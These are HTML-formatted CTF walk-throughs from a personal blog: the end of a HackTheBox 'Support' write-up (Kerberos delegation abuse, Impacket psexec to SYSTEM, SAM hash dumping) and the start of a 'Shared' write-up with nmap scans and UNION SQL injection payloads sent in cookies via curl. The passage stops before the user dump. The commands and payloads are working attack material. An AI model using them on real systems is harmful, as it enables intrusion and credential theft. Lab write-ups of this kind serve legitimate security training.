<span class="o">[</span><span class="k">*</span><span class="o">]</span> Getting TGT <span class="k">for </span>user
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Impersonating administrator
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Requesting S4U2self
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Requesting S4U2Proxy
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Saving ticket <span class="k">in </span>administrator.ccache
</code></pre></div></div>
<p>Now we export it and check:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/support]
└─# <span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>administrator.ccache
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/support]
└─# klist
Ticket cache: FILE:administrator.ccache
Default principal: administrator@support.htb
Valid starting Expires Service principal
08/10/2022 14:58:10 08/11/2022 00:58:10 www/dc.support.htb@SUPPORT.HTB
renew <span class="k">until </span>08/11/2022 14:58:13
</code></pre></div></div>
<h2 id="impacket-psexec">Impacket PSExec</h2>
<p>Finally we can use that Kerberos ticket to connect as the administrator user:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/support]
└─# python3 /usr/share/doc/python3-impacket/examples/psexec.py <span class="nt">-k</span> <span class="nt">-no-pass</span> support.htb/administrator@dc.support.htb <span class="nt">-dc-ip</span> 10.10.11.174
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Requesting shares on dc.support.htb.....
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Found writable share ADMIN<span class="err">$</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Uploading file ubdUnXDm.exe
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Opening SVCManager on dc.support.htb.....
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Creating service FLKe on dc.support.htb.....
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Starting service FLKe.....
<span class="o">[!]</span> Press <span class="nb">help </span><span class="k">for </span>extra shell commands
Microsoft Windows <span class="o">[</span>Version 10.0.20348.859]
<span class="o">(</span>c<span class="o">)</span> Microsoft Corporation. All rights reserved.
C:<span class="se">\W</span>indows<span class="se">\s</span>ystem32> <span class="nb">whoami
</span>nt authority<span class="se">\s</span>ystem
</code></pre></div></div>
<h2 id="root-flag">Root Flag</h2>
<p>Let’s get the root flag to complete the box:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\Windows\system32> type c:\users\administrator\desktop\root.txt
6827054ff3ad6fa0e808270351be323c
</code></pre></div></div>
<h2 id="password-hashes">Password Hashes</h2>
<p>Copy sam and system registry hive over to Kali then use secretsdump to get the hashes:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~]
└─# impacket-secretsdump <span class="nt">-sam</span> sam <span class="nt">-system</span> system LOCAL
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Target system bootKey: 0xf678b2597ade18d88784ee424ddc0d1a
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Dumping <span class="nb">local </span>SAM hashes <span class="o">(</span>uid:rid:lmhash:nthash<span class="o">)</span>
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb06cbc02b39abeddd1335bc30b19e26:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Cleaning up...
</code></pre></div></div>
<h2 id="root1">Root+1</h2>
<p>For extra points let’s look at how we could have got this done without Bloodhound by using PowerShell on the box:</p>
<p>First look for computers in the Domain:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\support\Documents</span><span class="err">></span><span class="w"> </span><span class="nx">Get-ADComputer</span><span class="w"> </span><span class="nt">-Filter</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nt">-Properties</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Select</span><span class="w"> </span><span class="nt">-Property</span><span class="w"> </span><span class="nx">Name</span><span class="p">,</span><span class="nx">DNSHostName</span><span class="p">,</span><span class="nx">Enabled</span><span class="p">,</span><span class="nx">LastLogonDate</span><span class="w">
</span><span class="n">Name</span><span class="w"> </span><span class="nx">DNSHostName</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">LastLogonDate</span><span class="w">
</span><span class="o">----</span><span class="w"> </span><span class="o">-----------</span><span class="w"> </span><span class="o">-------</span><span class="w"> </span><span class="o">-------------</span><span class="w">
</span><span class="n">DC</span><span class="w"> </span><span class="nx">dc.support.htb</span><span class="w"> </span><span class="nx">True</span><span class="w"> </span><span class="nx">8/8/2022</span><span class="w"> </span><span class="nx">7:43:48</span><span class="w"> </span><span class="nx">AM</span><span class="w">
</span><span class="n">MANAGEMENT</span><span class="w"> </span><span class="nx">Management.support.htb</span><span class="w"> </span><span class="nx">True</span><span class="w"> </span><span class="nx">7/21/2022</span><span class="w"> </span><span class="nx">6:19:20</span><span class="w"> </span><span class="nx">AM</span><span class="w">
</span></code></pre></div></div>
<p>Check the Domain still has the default policy of allowing users to add up to 10 machines:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\support\Documents</span><span class="err">></span><span class="w"> </span><span class="nx">Get-ADObject</span><span class="w"> </span><span class="p">((</span><span class="n">Get-ADDomain</span><span class="p">)</span><span class="o">.</span><span class="nf">distinguishedname</span><span class="p">)</span><span class="w"> </span><span class="nt">-Properties</span><span class="w"> </span><span class="n">ms-DS-MachineAccountQuota</span><span class="w">
</span><span class="nx">DistinguishedName</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">DC</span><span class="o">=</span><span class="n">support</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="w">
</span><span class="nx">ms-DS-MachineAccountQuota</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">10</span><span class="w">
</span><span class="n">Name</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">support</span><span class="w">
</span><span class="n">ObjectClass</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">domainDNS</span><span class="w">
</span><span class="n">ObjectGUID</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">553cd9a3-86c4-4d64-9e85-5146a98c868e</span><span class="w">
</span></code></pre></div></div>
<p>Find the SID of the security group we found the support user was a member of:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\support\Documents</span><span class="err">></span><span class="w"> </span><span class="nx">get-adgroup</span><span class="w"> </span><span class="s2">"Shared Support Accounts"</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">select</span><span class="w"> </span><span class="nx">SID</span><span class="w">
</span><span class="n">SID</span><span class="w">
</span><span class="o">---</span><span class="w">
</span><span class="n">S-1-5-21-1677581083-3380853377-188903654-1103</span><span class="w">
</span></code></pre></div></div>
<p>Confirm the same SID from above has excessive rights on the Domain Controller object:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\support\Documents</span><span class="err">></span><span class="w"> </span><span class="nx">Get-DomainObjectACL</span><span class="w"> </span><span class="s2">"dc.support.htb"</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nf">?</span><span class="p">{</span><span class="bp">$_</span><span class="o">.</span><span class="nf">SecurityIdentifier</span><span class="w"> </span><span class="o">-match</span><span class="w"> </span><span class="n">S-1-5-21-1677581083-3380853377-188903654-1103</span><span class="p">}</span><span class="w">
</span><span class="n">ObjectDN</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">DC</span><span class="p">,</span><span class="nx">OU</span><span class="o">=</span><span class="n">Domain</span><span class="w"> </span><span class="nx">Controllers</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">support</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="w">
</span><span class="nx">ObjectSID</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">S-1-5-21-1677581083-3380853377-188903654-1000</span><span class="w">
</span><span class="n">ActiveDirectoryRights</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">GenericAll</span><span class="w">
</span><span class="n">BinaryLength</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">36</span><span class="w">
</span><span class="n">AceQualifier</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">AccessAllowed</span><span class="w">
</span><span class="n">IsCallback</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">False</span><span class="w">
</span><span class="n">OpaqueLength</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">0</span><span class="w">
</span><span class="n">AccessMask</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">983551</span><span class="w">
</span><span class="n">SecurityIdentifier</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">S-1-5-21-1677581083-3380853377-188903654-1103</span><span class="w">
</span><span class="n">AceType</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">AccessAllowed</span><span class="w">
</span><span class="n">AceFlags</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">ContainerInherit</span><span class="w">
</span><span class="n">IsInherited</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">False</span><span class="w">
</span><span class="n">InheritanceFlags</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">ContainerInherit</span><span class="w">
</span><span class="n">PropagationFlags</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">None</span><span class="w">
</span><span class="n">AuditFlags</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">None</span><span class="w">
</span></code></pre></div></div>
<p>This would have told us we have GenericAll control over the DC. Which we abuse to set ActOnBehalf rights to a newly added machine/computer:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\support\Documents</span><span class="err">></span><span class="w"> </span><span class="nv">$x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Get-ADComputer</span><span class="w"> </span><span class="nx">dc</span><span class="w"> </span><span class="nt">-Properties</span><span class="w"> </span><span class="nx">msDS-AllowedToActOnBehalfOfOtherIdentity</span><span class="w">
</span><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\support\Documents</span><span class="err">></span><span class="w"> </span><span class="nv">$x</span><span class="o">.</span><span class="s1">'msDS-AllowedToActOnBehalfOfOtherIdentity'</span><span class="o">.</span><span class="nf">Access</span><span class="w">
</span><span class="n">ActiveDirectoryRights</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">GenericAll</span><span class="w">
</span><span class="n">InheritanceType</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">None</span><span class="w">
</span><span class="n">ObjectType</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">00000000-0000-0000-0000-000000000000</span><span class="w">
</span><span class="n">InheritedObjectType</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">00000000-0000-0000-0000-000000000000</span><span class="w">
</span><span class="n">ObjectFlags</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">None</span><span class="w">
</span><span class="n">AccessControlType</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">Allow</span><span class="w">
</span><span class="n">IdentityReference</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">SUPPORT\pencer</span><span class="err">$</span><span class="w">
</span><span class="n">IsInherited</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">False</span><span class="w">
</span><span class="n">InheritanceFlags</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">None</span><span class="w">
</span><span class="n">PropagationFlags</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">None</span><span class="w">
</span></code></pre></div></div>
<p>Of course it’s more fun playing with Bloodhound :)</p>
<p>That’s another box done. See you next time.</p>{"name"=>nil, "avatar"=>"/assets/images/BlackUnicorn.png", "bio"=>"Hacking. A lot of hacking. Mostly CTFs, but then other stuff too when I get round to it.", "links"=>[{"label"=>"Website", "icon"=>"fas fa-fw fa-link", "url"=>"https://pencer.io"}, {"label"=>"Twitter", "icon"=>"fab fa-fw fa-twitter-square", "url"=>"https://twitter.com/pencer_io"}, {"label"=>"GitHub", "icon"=>"fab fa-fw fa-github", "url"=>"https://github.com/pencer-io/"}]}Support is an easy level machine by 0xdf on HackTheBox. This Windows box explores the risks of insecure permissions in an Active Directory environment. Machine Information On this box we start with an open file share where we find an interesting file. Reversing it we retrieve a password which lets us use Kerbrute and Ldapdomaindump to eventually enumerate Active Directory. More credentials are found and used with BloodHound to find our attack path to root is via resource based constrained delegation.Walk-through of Shared from HackTheBox2023-02-19T00:00:00+00:002023-02-19T00:00:00+00:00https://pencer.io/ctf/ctf-htb-shared<p><a href="https://www.hackthebox.com/home/machines/profile/483">Shared</a> is a medium level machine by <a href="https://www.hackthebox.com/home/users/profile/27582">Nauten</a> on <a href="https://www.hackthebox.com/home">HackTheBox</a>. This Linux box explores using recent publicly disclosed vulnerabilities against a couple of well known applications.</p>
<!--more-->
<h2 id="machine-information">Machine Information</h2>
<p><img src="/assets/images/2022-07-25-16-46-47.png" alt="shared" /></p>
<p>On this box we start with a web shop which we find is vulnerable to SQLi union queries. From the database behind the site we get credentials for a user. Next we find an IPython vulnerability allows us to get credentials for another user via a recent CVE. As this second user we find a vulnerable version of redis is running locally on the box. We use another CVE to break out of the sandbox and execute code as root.</p>
<table>
<thead>
<tr>
<th>Details</th>
<th> </th>
</tr>
</thead>
<tbody>
<tr>
<td>Hosting Site</td>
<td><a href="https://www.hackthebox.eu">HackTheBox</a></td>
</tr>
<tr>
<td>Link To Machine</td>
<td><a href="https://www.hackthebox.com/home/machines/profile/483">HTB - Medium - Shared</a></td>
</tr>
<tr>
<td>Machine Release Date</td>
<td>23rd July 2022</td>
</tr>
<tr>
<td>Date I Completed It</td>
<td>25th July 2022</td>
</tr>
<tr>
<td>Distribution Used</td>
<td>Kali 2022.2 – <a href="https://www.kali.org/blog/kali-linux-2022-2-release/">Release Info</a></td>
</tr>
</tbody>
</table>
<h2 id="initial-recon">Initial Recon</h2>
<p>As always let’s start with Nmap:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shared]
└─# <span class="nv">ports</span><span class="o">=</span><span class="si">$(</span>nmap <span class="nt">-p-</span> <span class="nt">--min-rate</span><span class="o">=</span>1000 <span class="nt">-T4</span> 10.10.11.172 | <span class="nb">grep</span> ^[0-9] | <span class="nb">cut</span> <span class="nt">-d</span> <span class="s1">'/'</span> <span class="nt">-f</span> 1 | <span class="nb">tr</span> <span class="s1">'\n'</span> <span class="s1">','</span> | <span class="nb">sed </span>s/,<span class="nv">$/</span>/<span class="si">)</span>
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shared]
└─# nmap <span class="nt">-p</span><span class="nv">$ports</span> <span class="nt">-sC</span> <span class="nt">-sV</span> <span class="nt">-oA</span> shared 10.10.11.172
Starting Nmap 7.92 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2022-07-25 16:49 BST
Nmap scan report <span class="k">for </span>10.10.11.172
Host is up <span class="o">(</span>0.027s latency<span class="o">)</span><span class="nb">.</span>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 <span class="o">(</span>protocol 2.0<span class="o">)</span>
| ssh-hostkey:
| 3072 91:e8:35:f4:69:5f:c2:e2:0e:27:46:e2:a6:b6:d8:65 <span class="o">(</span>RSA<span class="o">)</span>
| 256 cf:fc:c4:5d:84:fb:58:0b:be:2d:ad:35:40:9d:c3:51 <span class="o">(</span>ECDSA<span class="o">)</span>
|_ 256 a3:38:6d:75:09:64:ed:70:cf:17:49:9a:dc:12:6d:11 <span class="o">(</span>ED25519<span class="o">)</span>
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://shared.htb
|_http-server-header: nginx/1.18.0
443/tcp open ssl/http nginx 1.18.0
|_http-title: Did not follow redirect to https://shared.htb
| ssl-cert: Subject: <span class="nv">commonName</span><span class="o">=</span><span class="k">*</span>.shared.htb/organizationName<span class="o">=</span>HTB/stateOrProvinceName<span class="o">=</span>None/countryName<span class="o">=</span>US
| Not valid before: 2022-03-20T13:37:14
|_Not valid after: 2042-03-15T13:37:14
| tls-nextprotoneg:
| h2
|_ http/1.1
|_http-server-header: nginx/1.18.0
|_ssl-date: TLS randomness does not represent <span class="nb">time</span>
| tls-alpn:
| h2
|_ http/1.1
Service Info: OS: Linux<span class="p">;</span> CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="nb">.</span>
Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>15.97 seconds
</code></pre></div></div>
<p>We see a redirect in the nmap scan to shared.htb, let’s add that first:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shared]
└─# <span class="nb">echo</span> <span class="s2">"10.10.11.172 shared.htb"</span> <span class="o">>></span> /etc/hosts
</code></pre></div></div>
<h2 id="mystore-website">MyStore Website</h2>
<p>Now we can go to the website. HTTP on port 80 redirects us to HTTPS on port 443. Accept the risk and continue to get to the site:</p>
<p><img src="/assets/images/2022-07-25-22-25-26.png" alt="shared-shop" /></p>
<p>We have a shop which is mostly functional. Wappalyzer reveals it’s based on PrestaShop:</p>
<p><img src="/assets/images/2022-07-25-22-29-06.png" alt="shared-wappalyzer" /></p>
<p>We can add a shirt to our basket:</p>
<p><img src="/assets/images/2022-07-25-22-29-33.png" alt="shared-basket" /></p>
<p>When we proceed to checkout we see there is a different subdomain used:</p>
<p><img src="/assets/images/2022-07-25-22-30-09.png" alt="shared-checkout" /></p>
<p>Add the new subdomain to the hosts file:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shared]
└─# <span class="nb">sed</span> <span class="nt">-i</span> <span class="s1">'s/shared.htb/shared.htb checkout.shared.htb/g'</span> /etc/hosts
</code></pre></div></div>
<p>Refresh the checkout page and accept risks to get to your cart:</p>
<p><img src="/assets/images/2022-07-25-22-35-20.png" alt="shared-cart" /></p>
<p>After a little trial and error we find the product field is vulnerable to SQL injection.</p>
<h2 id="sqli-union-based-attack">SQLi Union Based Attack</h2>
<p>Use curl to look at the output:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shared]
└─# curl <span class="nt">-i</span> <span class="nt">-s</span> <span class="nt">-k</span> <span class="nt">-X</span> GET <span class="nt">-b</span> <span class="s1">'PrestaShop-5f7b4f27831ed69a86c734aa3c67dd4c=def50200f9b9055f20158b11921f6ddf2ee519e3170df1b868ca453f638a464eacf537f674a9b5b7572bfc5efeb62cf7a6e2bf0a5cf444de58b092e3d1f94f11e14e00fae64134f4fa62d578f2032ddfc1b1f85891bc9ba311b1db9d3f5deecb1b67f914a570a6ec0cf4cdd780dca318293cfb88c01cdc9b5b779978b09d1cc82a5cf02dc2b0b5e0231f6accd23ac739ceb6625fe5e705880245eeddb4a126481b07f3263c0f7cdf60b26de6a7bee4d155c114cadbdb796700ed9dbefac7e881f87a6e9e36d40e04fbea51a338fc5c07b405c9d05051e799f89cf352286f73ad08546ec9fdf4462d96dd1e5fb4962b4c70ea12dd3a323395190fe50fe52297b3605ed9934234971d865fa393f6cb0908a70aef3e107cfb; custom_cart=%7B%2253GG2EF8%22%3A%221%22%7D'</span> <span class="s1">'https://checkout.shared.htb/'</span> | <span class="nb">grep</span> <span class="nt">-A1</span> <span class="s1">'<th scope="row">1</th>'</span>
<th <span class="nv">scope</span><span class="o">=</span><span class="s2">"row"</span><span class="o">></span>1</th>
<td>53GG2EF8</td>
</code></pre></div></div>
<p>The long Prestashop cookie can be left, the second custom_cart cookie holds the product code for the item we put in the basket back in the shop. It’s URL encoded, let’s decode to look at it:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─# python3 <span class="nt">-c</span> <span class="s2">"import urllib.parse; print(urllib.parse.unquote('%7B%2253GG2EF8%22%3A%221%22%7D'))"</span>
<span class="o">{</span><span class="s2">"53GG2EF8"</span>:<span class="s2">"1"</span><span class="o">}</span>
</code></pre></div></div>
<p>Knowing the format of the cookie we can use what we learnt on the TryHackMe room <a href="https://pencer.io/ctf/ctf-thm-sqhell">SQHell</a> and play with it:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">custom_cart</span><span class="o">={</span><span class="s2">"53GG2EF8' and 1=2 union all select 1,2,3-- -"</span>:<span class="s2">"1"</span><span class="o">}</span>
</code></pre></div></div>
<p>Here we’ve used a union statement to find the number of fields. I started with <strong>select 1</strong>, then <strong>select 1,2</strong>. When I got to <strong>select 1,2,3,4</strong> we get an error so we know it’s 3 fields.</p>
<p>Next we can confirm the field that will display our output:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">custom_cart</span><span class="o">={</span><span class="se">\"</span>53GG2EF8<span class="se">\'</span> and <span class="nv">1</span><span class="o">=</span>2 union <span class="k">select</span> <span class="se">\'</span>APPLE<span class="se">\'</span>,<span class="se">\'</span>BANANA<span class="se">\'</span>,<span class="se">\'</span>CARROT<span class="se">\'</span><span class="nt">--</span> -<span class="se">\"</span>:<span class="se">\"</span>1<span class="se">\"</span><span class="o">}</span>
</code></pre></div></div>
<p>Send that with curl:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shared]
└─# curl <span class="nt">-i</span> <span class="nt">-s</span> <span class="nt">-k</span> <span class="nt">-X</span> <span class="s1">$'GET'</span> <span class="nt">-b</span> <span class="s1">$'PrestaShop-5f7b4f27831ed69a<SNIP>3f6cb0908a70aef3e107cfb; custom_cart={</span><span class="se">\"</span><span class="s1">53GG2EF8</span><span class="se">\'</span><span class="s1"> and 1=2 union select </span><span class="se">\'</span><span class="s1">APPLE</span><span class="se">\'</span><span class="s1">,</span><span class="se">\'</span><span class="s1">BANANA</span><span class="se">\'</span><span class="s1">,</span><span class="se">\'</span><span class="s1">CARROT</span><span class="se">\'</span><span class="s1">-- -</span><span class="se">\"</span><span class="s1">:</span><span class="se">\"</span><span class="s1">1</span><span class="se">\"</span><span class="s1">}'</span> <span class="s1">'https://checkout.shared.htb/'</span> | <span class="nb">grep</span> <span class="nt">-A1</span> <span class="s1">'<th scope="row">1</th>'</span> | <span class="nb">sed</span> <span class="nt">-n</span> <span class="s1">'/<td>/,$p'</span> | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s2">"[:space:]"</span> | <span class="nb">sed</span> <span class="s1">'s/<td>//'</span> | <span class="nb">sed</span> <span class="s1">'s/<\/td>//'</span>
BANANA
</code></pre></div></div>
<p>I’ve tidied up the output so it’s easier to read. Now we can start gathering useful info from the database, first let’s get it’s name:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shared]
└─# curl <span class="nt">-i</span> <span class="nt">-s</span> <span class="nt">-k</span> <span class="nt">-X</span> <span class="s1">$'GET'</span> <span class="nt">-b</span> <span class="s1">$'PrestaShop-5f7b4f27831ed69a<SNIP>3f6cb0908a70aef3e107cfb; custom_cart={</span><span class="se">\"</span><span class="s1">53GG2EF8</span><span class="se">\'</span><span class="s1"> and 1=2 union select </span><span class="se">\'</span><span class="s1">APPLE</span><span class="se">\'</span><span class="s1">,database(),</span><span class="se">\'</span><span class="s1">CARROT</span><span class="se">\'</span><span class="s1">-- -</span><span class="se">\"</span><span class="s1">:</span><span class="se">\"</span><span class="s1">1</span><span class="se">\"</span><span class="s1">}'</span> <span class="s1">'https://checkout.shared.htb/'</span> | <span class="nb">grep</span> <span class="nt">-A1</span> <span class="s1">'<th scope="row">1</th>'</span> | <span class="nb">sed</span> <span class="nt">-n</span> <span class="s1">'/<td>/,$p'</span> | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s2">"[:space:]"</span> | <span class="nb">sed</span> <span class="s1">'s/<td>//'</span> | <span class="nb">sed</span> <span class="s1">'s/<\/td>//'</span>
checkout
</code></pre></div></div>
<p>Now let’s see the tables in the database:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shared]
└─# curl <span class="nt">-i</span> <span class="nt">-s</span> <span class="nt">-k</span> <span class="nt">-X</span> <span class="s1">$'GET'</span> <span class="nt">-b</span> <span class="s1">$'PrestaShop-5f7b4f27831ed69a<SNIP>3f6cb0908a70aef3e107cfb; custom_cart={</span><span class="se">\"\'</span><span class="s1"> and 0=1 union select </span><span class="se">\'</span><span class="s1">APPLE</span><span class="se">\'</span><span class="s1">,table_name,</span><span class="se">\'</span><span class="s1">CARROT</span><span class="se">\'</span><span class="s1"> from information_schema.tables where table_schema=database()-- -</span><span class="se">\"</span><span class="s1">:</span><span class="se">\"</span><span class="s1">1</span><span class="se">\"</span><span class="s1">}'</span> <span class="s1">'https://checkout.shared.htb/'</span> | <span class="nb">grep</span> <span class="nt">-A1</span> <span class="s1">'<th scope="row">1</th>'</span> | <span class="nb">sed</span> <span class="nt">-n</span> <span class="s1">'/td>/,$p'</span> | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s2">"[:space:]"</span> | <span class="nb">sed</span> <span class="s1">'s/<td>//'</span> | <span class="nb">sed</span> <span class="s1">'s/<\/td>//'</span>
user
</code></pre></div></div>
<p>Next we get the column names from the user table:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shared]
└─# curl <span class="nt">-i</span> <span class="nt">-s</span> <span class="nt">-k</span> <span class="nt">-X</span> <span class="s1">$'GET'</span> <span class="nt">-b</span> <span class="s1">$'PrestaShop-5f7b4f27831ed69a86c734aa3c67dd4c=def50200f9b9055f20158b11921f6ddf2ee519e3170df1b868ca453f638a464eacf537f674a9b5b7572bfc5efeb62cf7a6e2bf0a5cf444de58b092e3d1f94f11e14e00fae64134f4fa62d578f2032ddfc1b1f85891bc9ba311b1db9d3f5deecb1b67f914a570a6ec0cf4cdd780dca318293cfb88c01cdc9b5b779978b09d1cc82a5cf02dc2b0b5e0231f6accd23ac739ceb6625fe5e705880245eeddb4a126481b07f3263c0f7cdf60b26de6a7bee4d155c114cadbdb796700ed9dbefac7e881f87a6e9e36d40e04fbea51a338fc5c07b405c9d05051e799f89cf352286f73ad08546ec9fdf4462d96dd1e5fb4962b4c70ea12dd3a323395190fe50fe52297b3605ed9934234971d865fa393f6cb0908a70aef3e107cfb; custom_cart={</span><span class="se">\"\'</span><span class="s1"> and 0=1 union select </span><span class="se">\'</span><span class="s1">APPLE</span><span class="se">\'</span><span class="s1">,group_concat(column_name),</span><span class="se">\'</span><span class="s1">CARROT</span><span class="se">\'</span><span class="s1"> from information_schema.columns where table_schema=database() and table_name=</span><span class="se">\'</span><span class="s1">user</span><span class="se">\'</span><span class="s1">-- -</span><span class="se">\"</span><span class="s1">:</span><span class="se">\"</span><span class="s1">1</span><span class="se">\"</span><span class="s1">}'</span> <span class="s1">'https://checkout.shared.htb/'</span> | <span class="nb">grep</span> <span class="nt">-A1</span> <span class="s1">'<th scope="row">1</th>'</span> | <span class="nb">sed</span> <span class="nt">-n</span> <span class="s1">'/td>/,$p'</span> | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s2">"[:space:]"</span> | <span class="nb">sed</span> <span class="s1">'s/<td>//'</span> | <span class="nb">sed</span> <span class="s1">'s/<\/td>//'</span>
<span class="nb">id</span>,username,password
</code></pre></div></div>
<p>Now dump all users and passwords:</p>
